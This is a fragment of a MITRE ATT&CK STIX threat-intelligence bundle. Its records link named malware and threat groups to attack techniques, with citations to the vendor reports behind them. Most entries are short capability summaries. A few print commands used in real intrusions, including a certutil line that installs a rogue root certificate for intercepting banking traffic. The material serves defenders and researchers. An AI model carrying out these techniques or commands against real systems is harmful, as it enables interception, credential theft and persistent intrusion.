February 19, 2018.", + "source_name": "Microsoft PLATINUM June 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--90347c97-c0c5-4407-9087-b917d0789b0e", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can install as a Windows service for persistence.(Citation: Cylance Cleaver)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2021-04-21T16:41:34.710Z", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c", + "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the system time during installation.(Citation: Palo Alto T9000 Feb 2016)", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "modified": "2020-03-30T03:07:37.770Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--48b9ca0c-925b-4f6a-8f25-459b2489be7c", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "modified": "2020-01-17T16:52:36.081Z", + "source_ref": "course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4269342d-fd7b-4fc6-882f-5099da627c85", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has created a hidden directory under C:\\ProgramData\\Apple\\Updates\\ and C:\\Users\\Public\\Documents\\Flash\\.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: TrendMicro Tropic Trooper May 2020)", + "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "modified": "2020-05-21T14:55:00.348Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T20:17:49.308Z", + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + }, + { + "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.", + "source_name": "TrendMicro Tropic Trooper May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a3fe1f58-b507-42ea-a21e-a6ac46de9ca8", + "description": "[Sakula](https://attack.mitre.org/software/S0074) calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup. 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Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--19f512b8-6869-460d-97d8-7e1f9b3c51cb", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) can perform a recursive directory listing for all volume drives available on the victim's machine and can also fetch specific files by their paths.(Citation: Radware Micropsia July 2018)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2019-04-17T22:05:05.810Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T21:47:53.700Z", + "external_references": [ + { + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a566127b-1d88-4b38-84dd-4686e2837399", + "description": "[Daserf](https://attack.mitre.org/software/S0187) can use steganography to hide malicious code downloaded to the victim.(Citation: Trend Micro Daserf Nov 2017)", + "target_ref": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235", + "modified": "2020-03-19T21:19:05.640Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "source_name": "Trend Micro Daserf Nov 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b58b7cb7-ba2a-40ef-9532-c134b8811415", + "description": "[Octopus](https://attack.mitre.org/software/S0340) has used HTTP GET and POST requests for C2 communications.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2021-10-14T15:12:18.209Z", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T13:24:09.158Z", + "external_references": [ + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf", + "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021.", + "source_name": "ESET Nomadic Octopus 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4", + "description": "Some variants of the [Zeroaccess](https://attack.mitre.org/software/S0027) Trojan have been known to store data in Extended Attributes.(Citation: Ciubotariu 2014)", + "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.symantec.com/connect/blogs/trojanzeroaccessc-hidden-ntfs-ea", + "description": "Ciubotariu, M. (2014, January 23). Trojan.Zeroaccess.C Hidden in NTFS EA. Retrieved December 2, 2014.", + "source_name": "Ciubotariu 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e3417dc3-f784-4306-8466-65a0067b63f1", + "description": "[APT18](https://attack.mitre.org/groups/G0026) can list files information for specific directories.(Citation: PaloAlto DNS Requests May 2016)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2019-05-30T18:05:32.708Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T14:00:49.826Z", + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture video from a victim machine.(Citation: PWC Cloud Hopper Technical Annex April 2017)", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "modified": "2020-03-16T16:46:28.691Z", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d8f527e3-a86a-431c-9110-b092343269bc", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect host IP information from the victim\u2019s machine.(Citation: Unit42 Azorult Nov 2018)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2019-07-26T23:22:28.262Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T15:19:15.005Z", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--38416e2a-3590-4827-9a6f-d8f1df6568af", + "description": "[APT1](https://attack.mitre.org/groups/G0006) gathered a list of running processes on the system using tasklist /v.(Citation: Mandiant APT1)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2019-08-20T13:08:13.225Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T15:33:07.643Z", + "external_references": [ + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1dac9ffa-1523-4cab-b28f-2d5642ee08aa", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can encode data with a NOT operation before sending the data to the control server.(Citation: McAfee Oceansalt Oct 2018)", + "target_ref": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", + "modified": "2020-03-20T18:23:25.543Z", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T15:43:19.434Z", + "external_references": [ + { + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1ffac810-9c9e-4060-9902-737085ba8bc5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can execute commands.(Citation: PaloAlto CardinalRat Apr 2017)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T16:51:20.663Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T16:39:54.273Z", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--43619944-94e9-43d9-a761-8e4db2113eef", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) can perform credential dumping from memory to obtain account and password information.(Citation: GitHub LaZagne Dec 2018)", + "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", + "modified": "2020-03-19T23:11:54.971Z", + "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T16:45:00.084Z", + "external_references": [ + { + "source_name": "GitHub LaZagne Dec 2018", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "url": "https://github.com/AlessandroZ/LaZagne" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d1d496f1-fa91-404e-a93a-97670817717a", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s username.(Citation: Securelist MuddyWater Oct 2018)(Citation: Trend Micro Muddy Water March 2021)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2021-03-19T13:43:29.624Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T17:33:41.163Z", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", + "source_name": "Trend Micro Muddy Water March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--542bb806-3e73-42f5-8a3e-86b498093f4b", + "description": "[certutil](https://attack.mitre.org/software/S0160) can be used to install browser root certificates as a precursor to performing [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) between connections to banking websites. Example command: certutil -addstore -f -user ROOT ProgramData\\cert512121.der.(Citation: Palo Alto Retefe)", + "target_ref": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", + "modified": "2021-08-16T17:50:50.467Z", + "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Palo Alto Retefe", + "description": "Levene, B., Falcone, R., Grunzweig, J., Lee, B., Olson, R. (2015, August 20). Retefe Banking Trojan Targets Sweden, Switzerland and Japan. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--54188543-7746-4158-9a9f-5556bb99ec7a", + "description": "A backdoor used by [APT29](https://attack.mitre.org/groups/G0016) created a [Tor](https://attack.mitre.org/software/S0183) hidden service to forward traffic from the [Tor](https://attack.mitre.org/software/S0183) client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.(Citation: Mandiant No Easy Breach)", + "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", + "modified": "2021-10-12T21:19:30.589Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016", + "description": "Dunwoody, M. and Carr, N.. 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Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3bf633d0-5578-4e3a-a599-52f3946f6623", + "description": "[Reaver](https://attack.mitre.org/software/S0172) deletes the original dropped file from the victim.(Citation: Palo Alto Reaver Nov 2017)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-03-17T02:22:51.849Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", + "description": "Grunzweig, J. and Miller-Osborn, J. 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Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8edb0383-cae8-43ee-9241-b25e5068cc95", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used netstat -an on a victim to get a listing of network connections.(Citation: Palo Alto OilRig May 2016)", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "modified": "2019-09-04T22:55:41.139Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--264be7f9-61e1-4e9e-aa4a-aa4a7420f3b3", + "description": "[Comnie](https://attack.mitre.org/software/S0244) executes BAT scripts.(Citation: Palo Alto Comnie)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-17T18:47:41.140Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/", + "description": "Grunzweig, J. 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Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + }, + { + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", + "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. 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Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6f01abdc-bd94-4645-afed-8d3bd365bba4", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) contains screen capture functionality.(Citation: Cylance Cleaver)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2021-04-21T16:41:34.701Z", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "description": "Cylance. (2014, December). Operation Cleaver. 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Retrieved November 5, 2018.", + "source_name": "Morphisec Cobalt Gang Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6e6828ca-7567-4302-8ed7-fa5821dc5bbc", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used PowerShell for execution.(Citation: SecureWorks BRONZE UNION June 2017)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2019-07-14T21:15:54.966Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6ed5961a-224a-419b-b696-8962813158f2", + "description": "(Citation: FireEye FIN6 April 2016)", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "modified": "2019-06-28T14:59:17.853Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.072Z", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. 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Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f28627be-fddd-455c-b001-abddaaa29fa7", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) used stolen certificates to sign its malware.(Citation: Kaspersky Winnti April 2013)", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "modified": "2019-03-25T17:15:03.466Z", + "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.079Z", + "external_references": [ + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. 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Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d200ba08-8179-495e-a854-9b13be5c0f93", + "description": "A variant of [Emissary](https://attack.mitre.org/software/S0082) appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.(Citation: Emissary Trojan Feb 2016)", + "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "modified": "2021-08-27T14:42:00.385Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", + "description": "Falcone, R. and Miller-Osborn, J. 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(2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.", + "source_name": "Unit42 Redaman January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ec3f88b1-ba85-497f-91d0-3eb8dcc5c4f1", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can gather the victim computer name and serial number.(Citation: Proofpoint Leviathan Oct 2017)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-03-17T01:53:17.463Z", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bd8fec61-37c8-489b-a74b-424ff85222ad", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) stores the encoded configuration file in the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Security.(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2019-10-15T22:51:02.959Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF", + "description": "US-CERT. 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Retrieved July 16, 2018.", + "source_name": 